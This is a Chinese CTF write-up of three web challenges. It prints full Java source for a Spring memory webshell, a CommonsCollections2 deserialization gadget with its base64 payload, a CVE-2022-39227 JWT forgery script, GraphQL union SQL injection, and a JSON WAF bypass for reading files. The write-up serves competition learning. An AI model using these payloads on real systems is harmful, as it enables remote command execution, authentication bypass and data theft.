前言:这是属于pwn佬的时代,俩天的比赛,三个web,10个pwn!
看到一个反序列点而去没有黑名单
本地直接打CC链可以弹计算机。题目curl自己服务器没反应,不出网。确认要加载内存马。使用cc2链加载下面的内存马
package com.example.exp;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.util.Scanner;
//shell.java
public class shell extends AbstractTranslet implements HandlerInterceptor {
static{
try{
//获取上下文环境
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
//获取adaptedInterceptors属性值
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean(RequestMappingHandlerMapping.class);
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
//将恶意Interceptor添加入adaptedInterceptors
shell the_shell_interceptor = new shell();
adaptedInterceptors.add(the_shell_interceptor);
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}
}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String cmd = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (cmd != null) {
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
String result = scanner.hasNext()?scanner.next():"";
scanner.close();
writer.write(result);
}else {
writer.write("use cmd");
}
writer.flush();
writer.close();
return true;
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
package com.example.exp;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.math.BigInteger;
import java.util.PriorityQueue;public class demo {
public static void main(String[] args) throws Exception {
FileInputStream inputFromFile = new FileInputStream("C:\\Users\\Administrator\\Desktop\\buu\\exp\\target\\classes\\com\\example\\exp\\shell.class");
byte[] bs = new byte[inputFromFile.available()];
inputFromFile.read(bs);
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{bs});
setFieldValue(obj, "_name", "TemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("getOutputProperties", new Class[]{}, new Object[]{});
TransformingComparator comparator = new TransformingComparator(transformer);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2);
queue.add(new BigInteger("10"));
queue.add(new BigInteger("100"));
Field field = PriorityQueue.class.getDeclaredField("queue");
field.setAccessible(true);
Object[] objects = (Object[]) field.get(queue);
objects[0] = obj;
Field field2 = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue, comparator);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));
objectOutputStream.writeObject(queue);
objectOutputStream.close();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
package com.example.exp;import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.InputStream;
import java.util.Base64;
public class base64 {
public base64() {
}
public static void main(String[] args) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
InputStream ios = new FileInputStream("C:\\Users\\Administrator\\Desktop\\buu\\exp\\1.ser");
int temp;
while((temp = ios.read()) != -1) {
baos.write(temp);
}
System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
}
}
最后再提交报就可。这里有个细节。把内容类型直接改成text/plain即可。
POST /myTest?cmd=cat%20/flag HTTP/1.1
Host: 47.95.3.91:14878
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: text/plain
Content-Length: 7828rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAAAdAATZ2V0T3V0cHV0UHJvcGVydGllc3VyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHcEAAAAA3NyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzcQB+AAtMAAVfbmFtZXEAfgAKTAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA/////3VyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAXVyAAJbQqzzF/gGCFTgAgAAeHAAABK1yv66vgAAADQAzQoAJwBrCAA+CwBsAG0LAG4AbwoAcABxCgBwAHIKAHMAdAcAdQoACAB2CAB3CgAIAHgKAAgAeQoACAB6CAB7CgAIAHwKAH0AfggAfwoAfQCACgB9AHwKAIEAggcAgwoAFQCECgCFAIYHAIcLAIgAiQcAiggAXwoAiwCMCgCNAI4KAI0AjwcAkAcAkQoAIABrCgAfAJIHAJMKACMAlAcAlQoAJQCUBwCWBwCXAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABdMY29tL2V4YW1wbGUvZXhwL3NoZWxsOwEACXByZUhhbmRsZQEAZChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7TGphdmEvbGFuZy9PYmplY3Q7KVoBAAtpbnB1dFN0cmVhbQEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAB3NjYW5uZXIBABNMamF2YS91dGlsL1NjYW5uZXI7AQAGcmVzdWx0AQASTGphdmEvbGFuZy9TdHJpbmc7AQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEAB2hhbmRsZXIBABJMamF2YS9sYW5nL09iamVjdDsBAANjbWQBAAZ3cml0ZXIBABVMamF2YS9pby9QcmludFdyaXRlcjsBAA1TdGFja01hcFRhYmxlBwCRBwCYBwCZBwCaBwCbBwCcBwCdBwB1AQAKRXhjZXB0aW9ucwcAngEAEE1ldGhvZFBhcmFtZXRlcnMBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwCfAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQAHY29udGV4dAEAN0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L1dlYkFwcGxpY2F0aW9uQ29udGV4dDsBABZhYnN0cmFjdEhhbmRsZXJNYXBwaW5nAQBATG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvaGFuZGxlci9BYnN0cmFjdEhhbmRsZXJNYXBwaW5nOwEABWZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAE2FkYXB0ZWRJbnRlcmNlcHRvcnMBABVMamF2YS91dGlsL0FycmF5TGlzdDsBABV0aGVfc2hlbGxfaW50ZXJjZXB0b3IBAAFlAQAgTGphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbjsBACJMamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb247AQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAKUxqYXZhL3V0aWwvQXJyYXlMaXN0PExqYXZhL2xhbmcvT2JqZWN0Oz47BwCTBwCVAQAKU291cmNlRmlsZQEACnNoZWxsLmphdmEMACkAKgcAmAwAoAChBwCZDACiAKMHAKQMAKUApgwApwCoBwCpDACqAKsBABFqYXZhL3V0aWwvU2Nhbm5lcgwAKQCsAQACXEEMAK0ArgwArwCwDACxALIBAAAMALMAKgcAnAwAtAC1AQAHdXNlIGNtZAwAtgAqBwC3DAC4ALkBAEBvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvU2VydmxldFJlcXVlc3RBdHRyaWJ1dGVzDAC6ALsHALwMAL0AvgEAUm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9hbm5vdGF0aW9uL1JlcXVlc3RNYXBwaW5nSGFuZGxlck1hcHBpbmcHAL8MAMAAwQEAPm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvaGFuZGxlci9BYnN0cmFjdEhhbmRsZXJNYXBwaW5nBwDCDADDAMQHAMUMAMYAxwwAyADJAQATamF2YS91dGlsL0FycmF5TGlzdAEAFWNvbS9leGFtcGxlL2V4cC9zaGVsbAwAygDLAQAeamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uDADMACoBACBqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbgEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADJvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L0hhbmRsZXJJbnRlcmNlcHRvcgEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQATamF2YS9pby9QcmludFdyaXRlcgEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAAdoYXNOZXh0AQADKClaAQAEbmV4dAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAFY2xvc2UBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoAQA8b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RDb250ZXh0SG9sZGVyAQAYY3VycmVudFJlcXVlc3RBdHRyaWJ1dGVzAQA9KClMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RBdHRyaWJ1dGVzOwEACmdldFJlcXVlc3QBACkoKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEAO29yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvc3VwcG9ydC9SZXF1ZXN0Q29udGV4dFV0aWxzAQAZZmluZFdlYkFwcGxpY2F0aW9uQ29udGV4dAEAYChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDspTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvV2ViQXBwbGljYXRpb25Db250ZXh0OwEANW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvV2ViQXBwbGljYXRpb25Db250ZXh0AQAHZ2V0QmVhbgEAJShMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL09iamVjdDsBAA9qYXZhL2xhbmcvQ2xhc3MBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQADYWRkAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQAPcHJpbnRTdGFja1RyYWNlACEAIAAnAAEAKAAAAAUAAQApACoAAQArAAAALwABAAEAAAAFKrcAAbEAAAACACwAAAAGAAEAAAAXAC0AAAAMAAEAAAAFAC4ALwAAAAEAMAAxAAMAKwAAAUMAAwAJAAAAaisSArkAAwIAOgQsuQAEAQA6BRkExgBDuAAFGQS2AAa2AAc6BrsACFkZBrcACRIKtgALOgcZB7YADJkACxkHtgANpwAFEg46CBkHtgAPGQUZCLYAEKcAChkFEhG2ABAZBbYAEhkFtgATBKwAAAADACwAAAA2AA0AAAAvAAoAMAASADEAFwAyACQAMwA0ADQASAA1AE0ANgBUADcAVwA4AF4AOgBjADsAaAA8AC0AAABcAAkAJAAwADIAMwAGADQAIAA0ADUABwBIAAwANgA3AAgAAABqAC4ALwAAAAAAagA4ADkAAQAAAGoAOgA7AAIAAABqADwAPQADAAoAYAA+ADcABAASAFgAPwBAAAUAQQAAACkABP8ARAAIBwBCBwBDBwBEBwBFBwBGBwBHBwBIBwBJAABBBwBG+QAQBgBKAAAABAABAEsATAAAAA0DADgAAAA6AAAAPAAAAAEATQBOAAMAKwAAAD8AAAADAAAAAbEAAAACACwAAAAGAAEAAABCAC0AAAAgAAMAAAABAC4ALwAAAAAAAQBPAFAAAQAAAAEAUQBSAAIASgAAAAQAAQBTAEwAAAAJAgBPAAAAUQAAAAEATQBUAAMAKwAAAEkAAAAEAAAAAbEAAAACACwAAAAGAAEAAABHAC0AAAAqAAQAAAABAC4ALwAAAAAAAQBPAFAAAQAAAAEAVQBWAAIAAAABADwAVwADAEoAAAAEAAEAUwBMAAAADQMATwAAAFUAAAA8AAAACABYACoAAQArAAABHwACAAUAAABQuAAUwAAVtgAWuAAXSyoSGLkAGQIAwAAaTBIaEhu2ABxNLAS2AB0sK7YAHsAAH067ACBZtwAhOgQtGQS2ACJXpwAQSyq2ACSnAAhLKrYAJrEAAgAAAD8AQgAjAAAAPwBKACUABAAsAAAAOgAOAAAAGwANAB4AGQAfACEAIAAmACEALwAkADgAJQA/ACoAQgAmAEMAJwBHACoASgAoAEsAKQBPACsALQAAAEgABwANADIAWQBaAAAAGQAmAFsAXAABACEAHgBdAF4AAgAvABAAXwBgAAMAOAAHAGEALwAEAEMABABiAGMAAABLAAQAYgBkAAAAZQAAAAwAAQAvABAAXwBmAAMAQQAAAA0AA/cAQgcAZ0cHAGgEAAEAaQAAAAIAanB0AA1UZW1wbGF0ZXNJbXBscHcBAHhzcgAUamF2YS5tYXRoLkJpZ0ludGVnZXKM/J8fqTv7HQMABkkACGJpdENvdW50SQAJYml0TGVuZ3RoSQATZmlyc3ROb256ZXJvQnl0ZU51bUkADGxvd2VzdFNldEJpdEkABnNpZ251bVsACW1hZ25pdHVkZXQAAltCeHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhw///////////////+/////gAAAAF1cQB+ABgAAAABZHh4
这里用到的jwt漏洞是这个CVE-2022-39227,有点新https://github.com/davedoesdev/python-jwt/security/advisories/GHSA-5p8v-58qm-c7fp这个题最骚的就是,新版的包还带有这个cve能生成恶意jwt的poc,这个包是想帮用户验证这个新包是否还有以前的问题。那么我们直接来到新版已经修好洞的包这里。https://github.com/davedoesdev/python-jwt/commit/88ad9e67c53aa5f7c43ec4aa52ed34b7930068c9test目录下的vulnerability_vows.py这边就是我们可以生产jwt的poc了 直接利用这个包里面的poc生成即可。我们的exp放在test目录下。
from datetime import timedelta
from json import loads, dumps
from test.common import generated_keys
from test import python_jwt as jwt
from pyvows import Vows, expect
from jwcrypto.common import base64url_decode, base64url_encodedef topic2(topic):
""" Use mix of JSON and compact format to insert forged claims including long expiration """
[header, payload, signature]
= topic.split('.')
parsed_payload = loads(base64url_decode(payload))
parsed_payload['is_admin'] = 1
parsed_payload['username'] = "admin" //改数据
fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
key="eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NjcwNjQ4NTUsImlhdCI6MTY2NzA2NDU1NSwiaXNfYWRtaW4iOjAsImlzX2xvZ2luIjoxLCJqdGkiOiJIWTRlcFhvbnFXclpBaGJoa2VyNTNBIiwibmJmIjoxNjY3MDY0NTU1LCJwYXNzd29yZCI6InNzIiwidXNlcm5hbWUiOiJzcyJ9.G9-ZUWy4dEuusYPCJXyS0Kg_i67Cm2AyMiqAp5V8tBcHr4yhllmr_yw00f3iE3HHwO4ySsQNoMnbolyn_tRF5DANUqy_E-rhHCJ9oR4kzMshQ07L4MfkqQD1YyxUCVAcCJcadAuiIzJvyvKVeyeJZ3h-uals4gNCE50MOY9mjeTBjhCn1FCtQ-7Bt3T2B1lX328aOY4O0J9jGHQyobZNgcJHG4aMLS-xSeVPtpggSho9ALomT82hdWM9DHG09UOppENuoVS3uv-ejPbpR1dDea6kVWgXa4CRfGRWOQyRIGs50uAC6EnosA63cKresm5vWXeGq0Xttm0ObHZsFvbf6w"
print(topic2(key))
然后来到网站首页改个token后,点查看flag,提示需要正确的管理员密码。我们刚刚只是让我们的用户名为admin,这个接口应该也检测了我们的密码。所有我们要拿flag的话,还得继续读管理员密码。接下来就是 graphql 。payload如下
发送
{__schema{types{name}}}
#回显
{'__schema': {'types': [{'name': 'Query'}, {'name': 'Getscorebyname'}, {'name': 'String'}, {'name': 'Getscorebyid'}, {'name': 'Int'}, {'name': 'Boolean'}, {'name': '__Schema'}, {'name': '__Type'}, {'name': '__TypeKind'}, {'name': '__Field'}, {'name': '__InputValue'}, {'name': '__EnumValue'}, {'name': '__Directive'}, {'name': '__DirectiveLocation'}]}}发送
{ Getscorebyid(id: 1){ id name score }}
回显
{'getscoreusingid': {'id': '1', 'name': 'admin', 'score': '100'}}
发送
{
__type (name: "Getscorebyid") {
name
fields {
name
type {
name
kind
ofType {
name
kind
}
}
}
}
}
最后拿管理员密码的paylaod
{ getscoreusingnamehahaha(name:"admin'union select password from users where name='admin' and '1'='1"){ name score }}
query={ getscoreusingnamehahaha(name:"shanghe'union select password from users where name='admin' and '1'='1"){ name score }}
直接用题目给的原来getscorebyid不行。改成正常执行回显的getscoreusingid就可以了
用Getscorebyname发现也不行。改成回显的getscoreusingnamehahaha就可以了。接下来联合注入一下admin的密码就行了。这个数据库的话是只有管理员的密码和自己注册的账号而已。可以在上面查成绩那里知道
得到管理员密码,然后admin加上密码登录即可
很明显就是过一个waf。然后读一个flag
const express = require('express');
const app = express();
const bodyParser = require("body-parser")
const fs = require("fs")
app.use(bodyParser.text({type: '*/*'}));
const { execFileSync } = require('child_process');app.post('/readfile', function (req, res) {
let body = req.body.toString();
let file_to_read = "app.js";
const file = execFileSync('/app/rust-waf', [body], {
encoding: 'utf-8'
}).trim();
try {
file_to_read = JSON.parse(file)
} catch (e){
file_to_read = file
}
let data = fs.readFileSync(file_to_read);
res.send(data.toString());
});
app.get('/', function (req, res) {
res.send('see `/src`');
});
app.get('/src', function (req, res) {
var data = fs.readFileSync('app.js');
res.send(data.toString());
});
app.listen(3000, function () {
console.log('start listening on port 3000');
});
直接去那个路由尝试。成功获得源码
use std::env;
use serde::{Deserialize, Serialize};
use serde_json::Value;static BLACK_PROPERTY: &str = "protocol";
#[derive(Debug, Serialize, Deserialize)]
struct File{
#[serde(default = "default_protocol")]
pub protocol: String,
pub href: String,
pub origin: String,
pub pathname: String,
pub hostname:String
}
pub fn default_protocol() -> String {
"http".to_string()
}
//protocol is default value,can't be customized
pub fn waf(body: &str) -> String {
if body.to_lowercase().contains("flag") || body.to_lowercase().contains("proc"){
return String::from("./main.rs"); //这里限制我们不能带有flag和proc字段
}
if let Ok(json_body) = serde_json::from_str::<Value>(body) {
if let Some(json_body_obj) = json_body.as_object() {
if json_body_obj.keys().any(|key| key == BLACK_PROPERTY) {
return String::from("./main.rs"); //这里限制我们的json字段不能带有protocol字段,但是下面限制我们是file结构体,这也就意味着我们一定要有protocol字段
}
}
//not contains protocol,check if struct is File
if let Ok(file) = serde_json::from_str::<File>(body) {//限制我们只能是这个结构体
return serde_json::to_string(&file).unwrap_or(String::from("./main.rs"));
}
} else{
//body not json
return String::from(body);
}
return String::from("./main.rs");
}
fn main() {
let args: Vec<String> = env::args().collect();
println!("{}", waf(&args[1])); //这里把json的第二字段传进去
}
这里protocol直接写俩个,第二个加入一个不可见字符,在经过json_body_obj.keys()
的时候,这个函数获取key值的时候应该是无法识别不可见字符的,首先获得第一个正常的protocol,再遍历到第二个带有不可见字符的prot\ud8fffocol,这个函数认为和前面那个是一样的,直接覆盖。但是到了any函数那里是不等于protocol。那么就过了。flag的字段直接url编码{"hostname":"","pathname":"/f%6cag","protocol":"shanghe","origin":"shanghe","href":"shanghe","prot\ud8fffocol":"shanghe"}
提交后说需要一个协议
把"protocol":"shanghe"
改成"protocol":"file:"读取文件{"hostname":"","pathname":"/f%6cag","protocol":"file:","origin":"shanghe","href":"shanghe","prot\ud8fffocol":"shanghe"}